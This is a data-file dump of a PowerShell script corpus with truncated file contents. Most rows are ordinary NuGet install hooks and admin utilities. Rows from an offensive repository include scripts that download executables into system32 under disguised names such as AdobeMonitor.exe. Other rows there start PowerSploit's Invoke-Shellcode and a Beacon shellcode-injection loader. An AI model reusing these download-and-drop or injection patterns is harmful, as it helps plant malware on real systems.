full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/Github/ProgHedgehog_RVIP_5/Client/packages/Apache.Ignite.1.8.0/tools/Install.ps1
Install.ps1
# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software ...
PowerShellCorpus/Github/ProgHedgehog_RVIP_5/Client/packages/Apache.Ignite.1.8.0/tools/Uninstall.ps1
Uninstall.ps1
# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software ...
PowerShellCorpus/Github/lukecamilo_Powershell/Funciones/Show-ProgressBar/show-progressbar.ps1
show-progressbar.ps1
function show-progressbar([int]$actual,[int]$completo, $estado, $actividad) { $porcentaje=($actual/$completo)*100 if (!$estado){ $estado="Buscando datos $actual de $completo" } if (!$actividad){ $actividad="Obteniendo Resultados" } Write-Progress -Activity $actividad -status $estado -percentComplete ...
PowerShellCorpus/Github/lukecamilo_Powershell/Funciones/Get-Identidad/get-identidad.ps1
get-identidad.ps1
################################################################## ################################################################## ## ## ## get-identidad ## ## ## ## ## ## selecciona la ultima parte de la identidad, para mostrar ## ## con mas prolijidad en los reportes ## ## ...
PowerShellCorpus/Github/lukecamilo_Powershell/Funciones/Set-MonitorBrightness/set-monitorbrightness.ps1
set-monitorbrightness.ps1
function Set-MonitorBrightness { param ( [Parameter(Mandatory=$true)] [Int][ValidateRange(0,100)] $Value, $ComputerName, $Credential ) $null = $PSBoundParameters.Remove('Value') $helper = Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightn...
PowerShellCorpus/Github/chaulota_Powershell-Ownage/downloaddumper3.ps1
downloaddumper3.ps1
#https://chocolatey.org/install.ps1 $url = "https://github.com/chaulota/Tools/releases/download/1.0.3.upx/dumper.exe" $file = Join-Path $Env:WinDir\system32 "dumper.exe" function Download-File { param ( [string]$url, [string]$file ) Write-Output "Downloading $url to $file" $downloader = new-object...
PowerShellCorpus/Github/chaulota_Powershell-Ownage/downloadAdobeMonitor.ps1
downloadAdobeMonitor.ps1
#https://chocolatey.org/install.ps1 $url = "https://github.com/chaulota/Tools/releases/download/1.0.2/AdobeMonitor.exe" $file = Join-Path $Env:WinDir\system32 "AdobeMonitor.exe" function Download-File { param ( [string]$url, [string]$file ) Write-Output "Downloading $url to $file" $downloader = ne...
PowerShellCorpus/Github/chaulota_Powershell-Ownage/Invoke-Shellcode.ps1
Invoke-Shellcode.ps1
function Invoke-Shellcode { <# .SYNOPSIS Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. PowerSploit Function: Invoke-Shellcode Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: N...
PowerShellCorpus/Github/chaulota_Powershell-Ownage/downloadnetsrv.ps1
downloadnetsrv.ps1
#https://chocolatey.org/install.ps1 $url = "https://github.com/chaulota/Tools/releases/download/1.0.4/netsrv.exe" $file = Join-Path $Env:WinDir\system32 "netsrv.exe" function Download-File { param ( [string]$url, [string]$file ) Write-Output "Downloading $url to $file" $downloader = new-object Sys...
PowerShellCorpus/Github/chaulota_Powershell-Ownage/downloaddumper2.ps1
downloaddumper2.ps1
#https://chocolatey.org/install.ps1 $url = "https://github.com/chaulota/Tools/releases/download/1.0.1/dumper.exe" $file = Join-Path $Env:WinDir "dumper.exe" function Download-File { param ( [string]$url, [string]$file ) Write-Output "Downloading $url to $file" $downloader = new-object System.Net.W...
PowerShellCorpus/Github/chaulota_Powershell-Ownage/downloadadobemon.ps1
downloadadobemon.ps1
#https://chocolatey.org/install.ps1 $url = "https://github.com/chaulota/Tools/releases/download/1.0.3/AdobeMonitor.exe" $file = Join-Path $Env:WinDir\system32 "AdobeMonitor.exe" function Download-File { param ( [string]$url, [string]$file ) Write-Output "Downloading $url to $file" $downloader = ne...
PowerShellCorpus/Github/chaulota_Powershell-Ownage/Beacon.ps1
Beacon.ps1
Set-StrictMode -Version 2 $DoIt = @' $assembly = @" using System; using System.Runtime.InteropServices; namespace inject { public class func { [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } [Flags] public...
PowerShellCorpus/Github/crasherr_LinuxVM-PSDeploy/QuickLinuxVMDeploy.ps1
QuickLinuxVMDeploy.ps1
# Create resource group New-AzureRmResourceGroup -Name myResourceGroup -Location eastus # Create a subnet configuration $subnetConfig = New-AzureRmVirtualNetworkSubnetConfig -Name mySubnet -AddressPrefix 192.168.1.0/24 # Create a virtual network $vnet = New-AzureRmVirtualNetwork -ResourceGroupName myResourceGr...
PowerShellCorpus/Github/derekmurawsky_ChocolateyFreeSSHd/Release/tools/chocolateyInstall.ps1
chocolateyInstall.ps1
#NOTE: Please remove any commented lines to tidy up prior to releasing the package, including this one $packageName = 'freeSSHD' $installerType = 'EXE' $url = 'http://www.freesshd.com/freeSSHd.exe' $url64 = $url $silentArgs = '/VERYSILENT /NOICON /SUPPRESSMSGBOXES' $validExitCodes = @(0) # main helpers - t...
PowerShellCorpus/Github/AlexandreRoba_posh-COMPlus/ComPlus/New-ComPlusApplication.ps1
New-ComPlusApplication.ps1
<# .SYNOPSIS Create a new COM+ Application. .DESCRIPTION Create a new COM+ Application. .PARAMETER Name The COM+ plus application name. .INPUTS [string] .EXAMPLE C:\PS> New-ComPlusApplication Application01 This example creates a new COM+ Application named Application01. #> function Ne...
PowerShellCorpus/Github/AlexandreRoba_posh-COMPlus/ComPlus/Get-ComPlusApplication.ps1
Get-ComPlusApplication.ps1
<# .SYNOPSIS Gets the applications from COM+ .DESCRIPTION Gets the applications from COM+. Applications can be filtered by Name, Key .PARAMETER Name Filter on the application name. Supports Wildcards. .PARAMETER Key Filter on the application Key. .INPUTS [PowerShellComPlus.Application[]] .EXAMPLE c:\P...
PowerShellCorpus/Github/selvamohandoss_SampleMVCApp/SampleMVCApplication/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/selvamohandoss_SampleMVCApp/SampleMVCApplication/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/selvamohandoss_SampleMVCApp/SampleMVCApplication/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/selvamohandoss_SampleMVCApp/SampleMVCApplication/packages/EntityFramework.5.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) $importedModule = Get-Module | ?{ $_.Name -eq 'EntityFramework' } if ($PSVersionTable.PSVersion -ge (New-Object Version @( 3, 0 ))) { $thisModuleManifest = 'EntityFramework.PS3.psd1' } else { $thisModuleManifest = 'EntityFramework.psd1' } $thisModule...
PowerShellCorpus/Github/selvamohandoss_SampleMVCApp/SampleMVCApplication/packages/EntityFramework.5.0.0/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) function Invoke-ConnectionFactoryConfigurator($assemblyPath, $project) { $appDomain = [AppDomain]::CreateDomain( 'EntityFramework.PowerShell', $null, (New-Object System.AppDomainSetup -Property @{ ShadowCopyFiles = 'true' })) ...
PowerShellCorpus/Github/selvamohandoss_SampleMVCApp/SampleMVCApplication/packages/jQuery.UI.Combined.1.8.24/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $juiFileNameRegEx
PowerShellCorpus/Github/selvamohandoss_SampleMVCApp/SampleMVCApplication/packages/jQuery.UI.Combined.1.8.24/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $juiFileNameRegEx ...
PowerShellCorpus/Github/selvamohandoss_SampleMVCApp/SampleMVCApplication/packages/jQuery.UI.Combined.1.8.24/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/selvamohandoss_SampleMVCApp/SampleMVCApplication/packages/jQuery.1.8.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/selvamohandoss_SampleMVCApp/SampleMVCApplication/packages/jQuery.1.8.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/selvamohandoss_SampleMVCApp/SampleMVCApplication/packages/jQuery.1.8.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/zarcen_dotwin/ps1/install.ps1
install.ps1
# Install the bash wrapper scripts according to tools.json #Write-Host $args.Length @" :: ***** Install Helper of dotwin ***** :: Description: wrapping tools from bash to natively run on cmd.exe :: :: To use the bash wrappers, firstly you need to enable the Windows Feature, :: "Windows Subsystem for Linux", s...
PowerShellCorpus/Github/zarcen_dotwin/ps1/sudo.ps1
sudo.ps1
# simulate linux sudo $usagemsg=@" Usage: sudo <executable> [options/args] Example: sudo regedit sudo notepad "@ if ($args.Length -eq 1) { if ($args[0] -eq "/?") { Write-Output $usagemsg exit } start-process $args[0] -verb "runAs" } elseif ($args.Leng...
PowerShellCorpus/Github/deepakmishra21_solid-spork/solid_spork/packages/Newtonsoft.Json.7.0.1/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) # open json.net splash page on package install # don't open if json.net is installed as a dependency try { $url = "http://www.newtonsoft.com/json/install?version=" + $package.Version $dte2 = Get-Interface $dte ([EnvDTE80.DTE2]) if ($dte2.ActiveWindo...
PowerShellCorpus/Github/deepakmishra21_solid-spork/solid_spork/packages/EntityFramework.6.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIarwYJKoZIhvcNAQcCoIIaoDCCGpwCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...
PowerShellCorpus/Github/deepakmishra21_solid-spork/solid_spork/packages/EntityFramework.6.0.0/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Initialize-EFConfiguration $project Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' Write-Host Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma...
PowerShellCorpus/Github/thibaultg78_PowerShell/Others/Store-WindowsSpotlight-Wallpapers.ps1
Store-WindowsSpotlight-Wallpapers.ps1
cls ################################################################################################ # - Write-Everywhere - Parameters : $MESSAGE : this function is used by every others functions # in order to output the script execution in the console and in a dedicated log file that will # be created in the sam...
PowerShellCorpus/Github/thibaultg78_PowerShell/Post-Configuration/NeverUpdates.ps1
NeverUpdates.ps1
# Used to control Microsoft automatic updates function NeverUpdates() { $updateObj = New-Object -ComObject Microsoft.Update.AutoUpdate # ' 1 = Never Check for Updates # ' 2 = Prompt for Update and Prompt for Installation # ' 3 = Prompt for Update and Prompt for Installation # ' 4 = Install automatically $u...
PowerShellCorpus/Github/thibaultg78_PowerShell/Post-Configuration/Disable-IEESC.ps1
Disable-IEESC.ps1
#=============================================================================== # Function : Disable-IEESC #=============================================================================== # Desactive la protection d'Internet Explorer dans 2008 R2 # Return : nothing #-----------------------------------------------...
PowerShellCorpus/Github/thibaultg78_PowerShell/Post-Configuration/Check-If-Administrator.ps1
Check-If-Administrator.ps1
#=============================================================================== # Function : Check-If-Administrator #=============================================================================== # Verifie si PowerShell est lance avec privileges Admin # Return : Return 0 if not admin 1 if admin OK #-------------...
PowerShellCorpus/Github/thibaultg78_PowerShell/Post-Configuration/Enable-IEESC.ps1
Enable-IEESC.ps1
#=============================================================================== # Function : Enable-IEESC #=============================================================================== # Active la protection d'Internet Explorer dans 2008 R2 # Return : nothing #---------------------------------------------------...
PowerShellCorpus/Github/thibaultg78_PowerShell/Post-Configuration/Enable-RDP.ps1
Enable-RDP.ps1
#=============================================================================== # Function : Enable-RDP #=============================================================================== # Active RDP # Return : nothing #------------------------------------------------------------------------------- function Enable...
PowerShellCorpus/Github/thibaultg78_PowerShell/Post-Configuration/Set-TimeZoneFR.ps1
Set-TimeZoneFR.ps1
#=============================================================================== # Function : Set-TimeZoneFR #=============================================================================== # Configure TimeZone to France # In Paris/France : it's UTC +1 - Time zone called "Romance Standard Time" # By default, we'll...
PowerShellCorpus/Github/thibaultg78_PowerShell/Post-Configuration/Disable-RDP.ps1
Disable-RDP.ps1
#=============================================================================== # Function : Disable-RDP #=============================================================================== # Active RDP # Return : nothing #------------------------------------------------------------------------------- function Disab...
PowerShellCorpus/Github/thibaultg78_PowerShell/Windows-Form/SimpleForm.ps1
SimpleForm.ps1
################################################# # 2013-04-07 - TGI # Downloaded on http://blog.akril.net # Free to use as you want ################################################# # Chargement des Windows Form #region [void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") [void][Sy...
PowerShellCorpus/Github/thibaultg78_PowerShell/Windows-Form/FullWindowsForm.ps1
FullWindowsForm.ps1
################################################# # 2013-04-07 - TGI # Downloaded on http://blog.akril.net # Free to use as you want ################################################# # Chargement des Windows Form #region [void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") [void][Sy...
PowerShellCorpus/Github/thibaultg78_PowerShell/Word/ComputerReportToWord.ps1
ComputerReportToWord.ps1
################################################# # 2013-09-29 - TGI # Downloaded on http://blog.akril.net # Free to use as you want ################################################# [Threading.Thread]::CurrentThread.CurrentCulture = 'en-US' # Lancement de MS Word $word = New-Object -ComObject "Word.Applicat...
PowerShellCorpus/Github/thibaultg78_PowerShell/Citrix/Connect-License-Server/ConnectLicensingServer.ps1
ConnectLicensingServer.ps1
#=============================================================================== # Script information #=============================================================================== # NAME: ConnectLicensingServer # VERSION: 1.0 # DESCRIPTION: Connecte et configure un Delivery Controller à son serveur de licences ...
PowerShellCorpus/Github/thibaultg78_PowerShell/Citrix/Create-Site-and-DB/Create-DB-Site-XD7.ps1
Create-DB-Site-XD7.ps1
#=============================================================================== # Script information #=============================================================================== # NAME: Create-DB-Site-XD7 # VERSION: 1.0 # DESCRIPTION: Script permettant de creer les DB XenDesktop 7.1 et le Site XenDesktop 7.1 ...
PowerShellCorpus/Github/thibaultg78_PowerShell/Excel/LaunchExcel.ps1
LaunchExcel.ps1
################################################# # 2013-06-26 - TGI # Downloaded on http://blog.akril.net # Free to use as you want ################################################# <# Bug pour l'utilisation de la méthode Add - http://depsharee.blogspot.fr/2011/08/powershell-and-excel-bug.html - http://suppo...
PowerShellCorpus/Github/thibaultg78_PowerShell/Excel/DisplayVM.ps1
DisplayVM.ps1
################################################# # 2013-06-26 - TGI # Downloaded on http://blog.akril.net # Free to use as you want ################################################# <# Bug pour l'utilisation de la méthode Add http://depsharee.blogspot.fr/2011/08/powershell-and-excel-bug.html http://support.m...
PowerShellCorpus/Github/thibaultg78_PowerShell/Excel/DisplayDrives.ps1
DisplayDrives.ps1
################################################# # 2013-06-26 - TGI # Downloaded on http://blog.akril.net # Free to use as you want ################################################# <# Bug pour l'utilisation de la méthode Add http://depsharee.blogspot.fr/2011/08/powershell-and-excel-bug.html http://support.m...
PowerShellCorpus/Github/thibaultg78_PowerShell/MIM/CleanUP_MIM-History_blog-version.ps1
CleanUP_MIM-History_blog-version.ps1
################################################################################################ # - CleanUpMimHistory - Parameters : None - It should be called one time by 1 month # (to keep the last 15 days of logs ). This will allow to keep logs for the previous runs but will # clean up the too much logs on the s...
PowerShellCorpus/Github/thibaultg78_PowerShell/MIM/LaunchMIM_blog_version.ps1
LaunchMIM_blog_version.ps1
cls # for cleaning the console if executed manually ################################################################################################ # Global Variables ################################################################################################ $MIMMAList = get-wmiobject -class "MIIS_Managemen...
PowerShellCorpus/Github/thibaultg78_PowerShell/MIM/LaunchMIMScenario.ps1
LaunchMIMScenario.ps1
################################################################################################ # Version: 0.7 - 22/02/2016 # Author : Thibault Gibard - thibault.gibard@avanade.com ################################################################################################ # Obectives : # The objective of th...
PowerShellCorpus/Github/OPS-E2E-PPE_E2E_Provision_2017_4_25_26_5_17/.openpublishing.build.ps1
.openpublishing.build.ps1
param( [string]$buildCorePowershellUrl = "https://opbuildstorageprod.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1", [string]$parameters ) # Main $errorActionPreference = 'Stop' # Step-1: Download buildcore script to local echo "download build core script to local with source url: ...
PowerShellCorpus/Github/mrhockeymonkey_IseCustomisation/AlignEqualsF6.ps1
AlignEqualsF6.ps1
<# .SYNOPSIS Uses the Highlighted Text to Align based on the = delimiter - For Splatting .DESCRIPTION Uses the Highlighted Text to Align based on the = delimiter - For Splatting .EXAMPLE $psise.CurrentFile.Editor.InsertText((Get-AlignedText -Tex...
PowerShellCorpus/Github/mrhockeymonkey_IseCustomisation/SnippetFunction.ps1
SnippetFunction.ps1
$Snippet = @{ Title = 'A Function (+help)' Author = 'Scott Matthews' Description = 'Framework for a function' Force = $true Text = @' <# .SYNOPSIS Short description .DESCRIPTION Long description .PARAMETER Name Description of parameter ...
PowerShellCorpus/Github/mrhockeymonkey_IseCustomisation/SnippetRunspace.ps1
SnippetRunspace.ps1
$Snippet = @{ Title = 'A Runspace Pool' Author = 'Scott Matthews' Description = 'Framework for Async Runspace Pool' Force = $true Text = @' #Create an Array List to Track Jobs $Runspaces = [System.Collections.ArrayList]::new() #Create the Runspace Pool $SessionState = [System.Management....
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/Microsoft.AspNet.Providers.LocalDB.1.1/tools/Install.ps1
Install.ps1
param($installPath, $toolsPath, $package, $project) try { # Set up variables $timestamp = (Get-Date).ToString('yyyyMMddHHmmss') $projectName = [IO.Path]::GetFileName($project.ProjectName.Trim([IO.PATH]::DirectorySeparatorChar, [IO.PATH]::AltDirectorySeparatorChar)) $catalogName = "aspnet-$project...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/EntityFramework.5.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) $importedModule = Get-Module | ?{ $_.Name -eq 'EntityFramework' } if ($PSVersionTable.PSVersion -ge (New-Object Version @( 3, 0 ))) { $thisModuleManifest = 'EntityFramework.PS3.psd1' } else { $thisModuleManifest = 'EntityFramework.psd1' } $thisModule...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/EntityFramework.5.0.0/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) function Invoke-ConnectionFactoryConfigurator($assemblyPath, $project) { $appDomain = [AppDomain]::CreateDomain( 'EntityFramework.PowerShell', $null, (New-Object System.AppDomainSetup -Property @{ ShadowCopyFiles = 'true' })) ...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/jQuery.UI.Combined.1.8.24/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $juiFileNameRegEx
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/jQuery.UI.Combined.1.8.24/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $juiFileNameRegEx ...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/jQuery.UI.Combined.1.8.24/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/jQuery.1.8.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/jQuery.1.8.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/Week6CodeChallenge1/packages/jQuery.1.8.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/packages/EntityFramework.5.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) $importedModule = Get-Module | ?{ $_.Name -eq 'EntityFramework' } if ($PSVersionTable.PSVersion -ge (New-Object Version @( 3, 0 ))) { $thisModuleManifest = 'EntityFramework.PS3.psd1' } else { $thisModuleManifest = 'EntityFramework.psd1' } $thisModule...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/packages/EntityFramework.5.0.0/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) function Invoke-ConnectionFactoryConfigurator($assemblyPath, $project) { $appDomain = [AppDomain]::CreateDomain( 'EntityFramework.PowerShell', $null, (New-Object System.AppDomainSetup -Property @{ ShadowCopyFiles = 'true' })) ...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/packages/jQuery.UI.Combined.1.8.24/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $juiFileNameRegEx
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/packages/jQuery.UI.Combined.1.8.24/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $juiFileNameRegEx ...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/packages/jQuery.UI.Combined.1.8.24/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/packages/jQuery.1.8.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/packages/jQuery.1.8.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/tylerannis_week6CodeChallenge/packages/jQuery.1.8.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/lazywinadmin_PowerShell/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1
Remove-StringDiacritic.ps1
function Remove-StringDiacritic { <# .SYNOPSIS This function will remove the diacritics (accents) characters from a string. .DESCRIPTION This function will remove the diacritics (accents) characters from a string. .PARAMETER String Specifies the String(s) on which the diacritics need to be removed .P...
PowerShellCorpus/Github/lazywinadmin_PowerShell/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1
Get-ISEShortcut.ps1
function Get-ISEShortCut { <# .SYNOPSIS List ISE Shortcuts .DESCRIPTION List ISE Shortcuts. This won't run in a regular powershell console, only in ISE. .EXAMPLE Get-ISEShortcut Will list all the shortcuts available .EXAMPLE Get-Help Get-ISEShortcut -Online Will show techn...
PowerShellCorpus/Github/lazywinadmin_PowerShell/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1
Get-SCSMUserManager.ps1
Function Get-SCSMUserManager { Param ( $input_affectedUser_id ) ## Return Variables $managerOfAffectedUser_obj = $null ## MAIN $affectedUser_obj = get-scsmobject -id $input_affectedUser_id $userManagesUser_relclass_id = '4a807c65-6a1f-15b2-bdf3-e967e58c254a' $managerOfAffectedUser_relobjs = Ge...
PowerShellCorpus/Github/lazywinadmin_PowerShell/TOOL-Lock-Computer/Lock-Computer.ps1
Lock-Computer.ps1
Function Lock-Computer { <# .DESCRIPTION Function to Lock your computer .SYNOPSIS Function to Lock your computer #> $signature = @" [DllImport("user32.dll", SetLastError = true)] public static extern bool LockWorkStation(); "@ $LockComputer = Add-Type -memberDefinition $signature -name "Win3...
